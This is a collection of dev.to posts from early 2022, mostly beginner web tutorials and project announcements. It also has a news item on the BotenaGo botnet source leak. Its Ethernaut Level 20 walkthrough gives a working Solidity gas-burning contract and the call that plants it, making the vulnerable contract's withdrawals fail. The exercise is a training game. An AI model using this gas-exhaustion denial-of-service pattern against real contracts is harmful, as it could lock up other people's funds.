teleren/devto huggingface dataset:
Html Basics
Tags: html, css, webdev, beginners
Published: 2022-01-27 22:18:59

Hello,
My name is Fabjola, graduated in Finance, with two years of experience in this field. I have recently shown interest in programming, as the world is advancing and it seems that the future is mostly there. 

The course with which I decided to start my journey in this field is called - The Complete Front-End Web Development Course - and it looks really interesting.

First I was introduced to html basics and then to the advanced level.

I was introduced to the structure of the html document and its elements. An element is the opening tag, all of the content within it, and then the closing tag itself. One of the main elements is `<div> </div>` which is considered a full block element, and has the width of the whole page, and then `<span> </span>` which gives the possibility that the content in the middle to be as wide as we want it to be.
Then I learned that `<i> </i>` stands for italica, `<b> </b>` for bold, `<p> </p>` for paragraph and `<a href=""> </a>` to put a hyperlink reference to the web page we are creating. 
Another really interesting detail that I have recently learned in this course is the creation of lists on web pages. For unordered lists use the `<ul> <li> </li> </ul>` element. This way the listed content will appear on the page we are trying to create, but without a numerical order.
For ordered lists the element `<ol> <li> </li> </ol>` will be used. Content will be listed in numerical order.
It is very important to note that the page will have a structure, which consists of header, body and footer. Starts with `<html>` and ends with `</html>`, which basically means that the tag wraps around the entire page.
Inside the `<html></html>`element there is generally a structure that starts with `<head> <title> </title> </head>`, an element which indicates the title of the document but it is not printed out in the page.
The structure then continues with `<body></body>`, an element in which the inside of the web page is treated. Basically, in order not to make a div soup and for the work to be more structured and organized, some `<article> </article>` elements are used.
The `<footer> </footer>` element is used to close the page.
Test
Published: 2022-01-27 22:17:27

[![Replayable - Replayable](https://replayable-api-production.herokuapp.com/replay/61f2394e2e20cc0065c83e5e/screenshot?shareKey=xF3IijgfbqPSZQA4672yQ)](https://replayable.netlify.app/replay/61f2394e2e20cc0065c83e5e/?share=xF3IijgfbqPSZQA4672yQ)
  Watch [Replayable - Replayable](https://replayable.netlify.app/replay/61f2394e2e20cc0065c83e5e/?share=xF3IijgfbqPSZQA4672yQ) on Replayable
Knowing I'm Dumb Is the First Step
Tags: beginners, discuss, programming
Published: 2022-01-27 22:09:13

---
title: Knowing I'm Dumb Is the First Step
published: true
description: 
tags: beginners, discuss, programming
//cover_image: https://direct_url_to_image.jpg
---
The Dunning-Kruger Effect is my favorite.

> This effect has been the darling of journalists who want to explain why dumb people don’t know they’re dumb.

It's where 'dumb' people don't know that they are 'dumb' and think they are better than more skilled people. 

So maybe it's false?

{% twitter 1485319874738114564 %}

But I've found it helpful as a model of learning. Learning where you are ignorant is an essential step in understanding.

When you don't know anything about software development, and you want to learn, it seems like it will either be easy or impossibly hard. It's just a giant skill to acquire. 

But as you learn, you start to recognize all the different gradations of learning. So this one big thing is actually a bunch of skills, and there are levels of each of them.

And the more you learn about, say, backend development, the more you realize there are other areas you don't understand, like not just frontend, but networking programming, phone development, OS development, and writing firmware. Every little area is fractal with so much knowledge in it.

Part of learning is just learning how much you don't know, so it makes sense that "dumb people don't know how dumb they are" because knowing how dumb you are is something you have to learn. 

What do you think?
Pull a WordPress site into a local DDEV project (2022 edition)
Tags: ddev, wordpress, webdev, opensource
Published: 2022-01-27 21:49:41

I'm experimenting since last year with the open source tool #DDEV, which enables easy and isolated local PHP dev environments for CMS software like WordPress.

My main goal is to pull a live site with as few commands as possible to my local laptop to test updates beforehand or change some styles (in a child theme). 

Here is my current progress for pulling via SSH (rsync, mysqldump) from a webspace:

{% youtube lEGL65H-hts %}

More information:

- Online generator: https://ddev-pull-wp.mandrasch.eu/
- Pull scripts: https://github.com/mandrasch/ddev-pull-wp-scripts
- DDEV: https://ddev.readthedocs.io/en/stable/
- DDEV Discord: https://discord.gg/kDvSFBSZfs

For the demo video I used https://raidboxes.io/en/ as webspace host.

Maybe this is useful for you as well. If you have any cool workflows or approaches for pulling a WordPress site to a local dev project, let me know. Thanks!

Take care.
PagerDuty Change Events from Azure Release Pipelines
Tags: pagerduty, azuredevops, extensions
Published: 2022-01-27 21:27:44

---
title: PagerDuty Change Events from Azure Release Pipelines
published: true
description: An Azure Release Task that sends Change Events to PagerDuty
tags: PagerDuty, AzureDevOps, Extensions
//cover_image: https://direct_url_to_image.jpg
---

As our team and our architecture has grown, so has the need for better managed and streamlined systems. A big push we've been making in the last few months is Incident Management and On Call Scheduling. At this point I think we've tried every tool/combination of tools and we're finally settling in with PagerDuty. 

For me, one of the big selling features of PagerDuty was the ability to add change events to your services. The forensics of an incident are a lot easier if you can quickly rule a recent release out of the realm of possibility. It's also helpful to know how often and frequently releases are happening to a certain service. 

Unfortunately, Azure DevOps didn't really have anything out of the box to send POST requests to an API when a release finishes. I also couldn't find anything in their marketplace that would fill the need I had. 

So I made [something](https://marketplace.visualstudio.com/items?itemName=KnightonDev.send-change-event). 

It's a very simple extension for Azure Pipelines and Releases that allows you to send an update to the service in PagerDuty. If you want to configure it to do so, it will send an event message for every state (succeeded, failed, canceled) and most of the fields are customizable to do whatever you need with them. 

![PagerDuty Change Event Screenshot](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dn4uwi14946ixjyouj3j.png)

I know that this is probably a very narrowcast post. I can't help but think this isn't an original idea or need, so I wanted to put it out there to the community in case anyone can find uses for it in their own environment.

It's also been a *hot minute* since I've contributed here in any meaningful way, so consider this a toe dipped back into the water just before my three year anniversary.
100 días de código: 60, crear curriculum y avance con proyectos
Tags: spanish, 100daysofcode, webdev
Published: 2022-01-27 21:17:58

¡Hey hey hey!

Despues de unos días de descansar un poco mas debido a algunas tareas fuera de la programación que debía completar ahora si vuelvo con todo para terminar el reto. Aunque por supuesto aun faltan 40 días me siento muy motivado para continuar con las metas que tengo para estos primeros meses de 2022.

El día de ayer me dedique a crear mi curriculum con la herramienta de templates llamada [Flow](https://flowcv.io/) y también revise mi presencia en la web.

Hoy he logrado avanzar con el diseño de mi nuevo proyecto el cual es una pagina de hotel. Por el momento solo llevo la parte principal diseñada en 3 dispositivos y puedes revisarlo en el link de [mi repositorio de github](https://github.com/Darito97/pagina-de-hotel).

Ademas me di cuenta de que, aunque quería cambiar mi pagina de porfolio, la primera pagina que tengo tiene bastante buena posición en las búsquedas de Google. Al colocar mi nombre sale en el 4to lugar asi que por el momento intentare optimizarla y a lo mejor en un futuro la cambiare por la otra.

Espero que tengan mucho éxito con sus proyectos y no olviden sonreír.

¡Hasta luego mundo!

### Links:
- [mi repositorio de github](https://github.com/Darito97/pagina-de-hotel).
- [Herramienta de creacion de curriculums Flow](https://flowcv.io/).

Foto de [Valdemaras D.](https://unsplash.com/@deko_lt?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) en [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).
Need Help!! How to submit a form and receive the form data in email like - in gmail ??
Tags: node, codenewbie, help, npm
Published: 2022-01-27 21:06:17

Hello DEV community 🖐🏼 My post here, as a newbie by following some tutorials I have created my first CRUD application using express, mongoose which sends form data to MongoDB in the localhost. 

But, now I want to know can the same form be used to send form data also into gmail by using nodemailer and mailgun or alternatives like mailersend.

I have found this ⬇ nice tutorial which only teaches how to send form data into gmail :

[https://www.youtube.com/watch?v=JpcLd5UrDOQ]
Add Dark Mode to HTML
Tags: javascript, darkmode, beginners, css
Published: 2022-01-27 21:06:00

## Adding Dark Mode to HTML

﻿One of the most useful, often taken for granted, features in mobile and web applications is dark mode. Besides making the user interface look better, it could also provide some [health benefits](https://www.healthline.com/health/is-dark-mode-better-for-your-eyes) for users. So how can you add a dark mode toggle to your HTML page? It is easy with setting some CSS and JavaScript.

## 1. CSS
﻿Inside your HTML page, add the following CSS code. This defines a CSS class selector where the CSS is looking for a style class that we defined with a name **dark**. We're going to change the background to (nearly) pure black and text color to (nearly) pure white.

```
/* Dark mode */


.dark{
    background-color: #222;
    color: #e6e6e6;
}
```

## 2. JavaScript
﻿While inside of your HTML page, add the following JavaScript code. This snippet will use a [browser API](https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-color-scheme) to detect the whether your local system is using light or dark mode. If your local system is using dark mode, the HTML page will activate a function named **ToggleDarkMode()**. **ToggleDarkMode()** ﻿will add the CSS class selector to the HTML document's body element.

```
let isDarkMode= window.matchMedia('(prefers-color-scheme: dark)').matches;
        if(isDarkMode){
            console.log('Currently in dark mode');
            ToggleDarkMode();
        }
        else{
            console.log('Currently not in dark mode');
        }
function ToggleDarkMode() {
        var element = document.body;
        element.classList.toggle("dark");
        }
```

## 3. Toggle Button
﻿Some users may prefer to see what your website looks like with the opposite setting, so having a toggle would be great. Simply add the following button within your HTML document. The button will use the **onclick﻿﻿** property to run the **ToggleDarkMode()** ﻿﻿function, which enables dark mode on your HTML's body element.

```
<button onclick="ToggleDarkMode()">Toggle</button>
```

Found any other ways to enable dark mode in HTML? Let us know in the comments below, or contact us in our [blog](https://lateeflab.com/add-dark-mode-in-html/)
BotenaGo botnet leaked to github
Tags: mirai, security, go, news
Published: 2022-01-27 20:55:09

**The BotenaGo botnet source code has been leaked to GitHub, putting millions of routers and internet-of-things (IoT) devices at risk, researchers said.**

In a Wednesday report, AT&T Alien Labs – which first discovered the difficult-to-detect malware in November – said it expects that the ready availability of the source code to malware authors will widen the number of attacks.

Uploading of the source code to GitHub “can potentially lead to a significant rise of new malware variants as malware authors will be able to use the source code and adapt it to their objectives,” Alien Labs security researcher Ofer Caspi wrote. “Alien Labs expects to see new campaigns based on BotenaGo variants targeting routers and IoT devices globally.”

Caspi said that as of yesterday, antivirus (AV) vendor detection for BotenaGo and its variants was still bumping along near the bottom when it comes to detecting the malware, with the BotenaGo samples discovered back in November still slipping past most AV software to infect systems with one of the most popular botnets: Mirai.


## How2make BotenaGo go go away?

Alien Labs researchers recommend three steps to keep this malware off devices:

- Maintain minimal exposure to the Internet on Linux servers and IoT devices and use a properly configured firewall.
- Install security and firmware upgrades from vendors, as soon as possible;And check your system for unnecessary open ports and suspicious processes.

Credits: https://threatpost.com/botenago-botnet-code-leaked-to-github/178059/
Get push notifications from Javascript in just one minute!
Tags: javascript, notification, webdev, npm
Published: 2022-01-27 20:36:30

There have been many times when, as a developer, I wanted to be notified and track certain events that happened within my projects. For example, when a user joins a newsletter, creates an account, upgrades to a premium plan, or provides feedback.

[LogSnag](https://logsnag.com) makes it very easy to set up these notifications and creates feeds of events so you can be aware of what happened and when it happened.

## Getting Started
First, I will add a new project to my LogSnag account. Let's call it _**my-saas**_ for this example.

![Create a new project](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ww1ff2tskvxyyeext5qk.gif) 

Next, we need an API token. Head to the settings, open the API tab, and use the + button to create a new token. You can then use the clipboard icon to copy the token.

![Copy your API Token](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/el0hsxttpts3nmhbtvv9.gif)

We are almost done! Let's move to our code!

## Javascript Time!
First, let's install the [LogSnag npm package](https://medium.com/r/?url=https%3A%2F%2Fwww.npmjs.com%2Fpackage%2Flogsnag)

```npm install --save logsnag```

Then, we have to import the package and initialize our client with the API token that we just copied from the application.

```javascript
import { LogSnag } from 'logsnag';

const logsnag = new LogSnag('MY_API_TOKEN')
```
 
Finally, we can use our client to publish any events from our application.

For this example, I will call my channel _**waitlist**_ as I would like to be notified and keep track of users who join my waitlist. Since this is the first time we publish to this channel, LogSnag will automatically create it for us.

I'm going to pass in the user email in the description and use the unicorn emoji as the icon. Most importantly, I will set notify to true since I would like to receive a push notification for this event.

```javascript
logsnag.publish({
    project: "my-saas",
    channel: "waitlist",
    event: "User Joined Waitlist",
    description: "email: john.doe@yahoo.com",
    icon: "🦄",
    notify: true
})
```

Once we run this code, a new channel is created under the **_my-saas_** project and we get push notifications for this event on all of the devices that have [LogSnag](https://logsnag.com) installed!

![LogSnag Notification](https://cdn-images-1.medium.com/max/800/1*YYznDPq6RsCMp4x5Z0sEMw.gif)

LogSnag has been a side project for the past couple of months. It has originated from the pain points of using messaging platforms to publish and track user activity and events. LogSnag has been explicitly designed for this purpose and provides powerful features that make it much easier to track events and projects. Currently, LogSnag is in the beta stage, and you can get access by signing up for the [waitlist on the website](https://logsnag.com).
Ethernaut Hacks Level 20: Denial
Tags: solidity, ethereum, openzeppelin, smartcontract
Published: 2022-01-27 20:19:00

This is the level 20 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game.

## Pre-requisites

- Solidity [`call` & `receive`](https://solidity-by-example.org/sending-ether/) methods
- [gasleft](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html#block-and-transaction-properties) function

## Hack

Given contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

`player` has to plant a denial of service attack such that `owner` is unable to withdraw funds through `withdraw` method.

This contract's vulnerability comes from the `withdraw` method which does not mitigate against possible attack through execution of some unknown external contract code through `call` method. `call` did not set a gas limit that external call can use.

The `call` method here can invoke the `receive` method of a malicious contract at `partner` address. And this is where we're going to eat up all gas so that `withdraw` function reverts with out of gas exception.

Since writing to storage is one of the most expensive operations, I will chose it for exhausting the gas in the malicious `GasBurner`:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GasBurner {
    uint256 n;

    function burn() internal {
        while (gasleft() > 0) {
            n += 1;
        }
    }

    receive() external payable {
        burn();
    }
}
```

Deploy `GasBurner` on Remix and copy it's address.

Now, set the `partner` in `Denial`:
```javascript
await contract.setWithdrawPartner('<gas-burner-address>')
```

The `GasBurner` has been planted! `withdraw` would now revert on invocation.

Fin.


_Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄

_and following me on twitter [here](https://twitter.com/heyNvN)_ 🙏
Why blogging is a great way to start a career in software development?
Published: 2022-01-27 19:57:16



_By Johanna Cano_

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/alm0389ffzb4pfos2t15.jpg)

The notion of blogging or “journaling” may seem to be out of the realm of software development and at first glance, appears to be non-related to the field. However, there are various ways blogging can be useful to start or boost your career in the tech industry. 

**Reinforce your knowledge and learning**
Having to explain a topic and formulate your thought processes into written words require in-depth understanding about that topic. It forces you to articulate your decision-making process in a manner that will show a reader the ways in which you strategize and tackle a problem. It may also identify some gaps in your knowledge and give you an opportunity to learn more about a particular topic. 

**Develop your communication skills**
Writing about the processes of a project or a topic forces you to organize your thoughts clearly in a way that other people (non-developers, for example) can understand. This is a great skill to have as working in the industry also involves speaking with stakeholders and other colleagues, who may not necessarily understand any programming languages or coding jargon. 

**Create connections**
Blogging is a great start to building your online presence. If you blog regularly and consistently, someone searching for your name or a topic you wrote will eventually find your blog. It is a great way to build connections with other like-minded people and generate connections in way that may possibly lead to job opportunities. 

---

Blogging is a low-entry platform that has proven benefits and has the potential to kick-start your career. Start today!
create-express-boilerplate to create new API projects in a secs
Published: 2022-01-27 19:54:49

Initiating a new project is as exciting as frustrating. Going through all the routine work just to get the basic engine started, yaa I know the pain.

## create-express-boilerplate to Rescue

I along with the tremendous help of [huda](https://github.com/hudaQeshta) worked out the solution for you, in the form of create-express-boilerplate. It includes

1. Entire expressjs setup
2. Validation Integration with [express-validator](https://express-validator.github.io/docs/)
3. Directory setups to provide you with less headache for where goes what
4. MVC architecture
5. DB support for both
6. [Sequelize](https://sequelize.org/) (MySQL and SQLite)
7. [Mongoose](https://mongoosejs.com/) (mongoDB)
8. Integrated [JEST test Suite](https://jestjs.io/)
9. Both Vanilla JS and Typescript support
10. [Husky](https://typicode.github.io/husky/#/) Support for pre-commit hooks
11. Great amount of inbuild helper functions

And many more to come..

you can install the setup by running

```
npx create-express-boilerplate
```
you can have complete [Documentation Here](https://create-express-boilerplate.com/)

feel free to provide us with your review and feedback in the form of comments or issues on [github](https://github.com/msamgan/expressjs-api-boilerplate). All your contributions are cardinally welcome.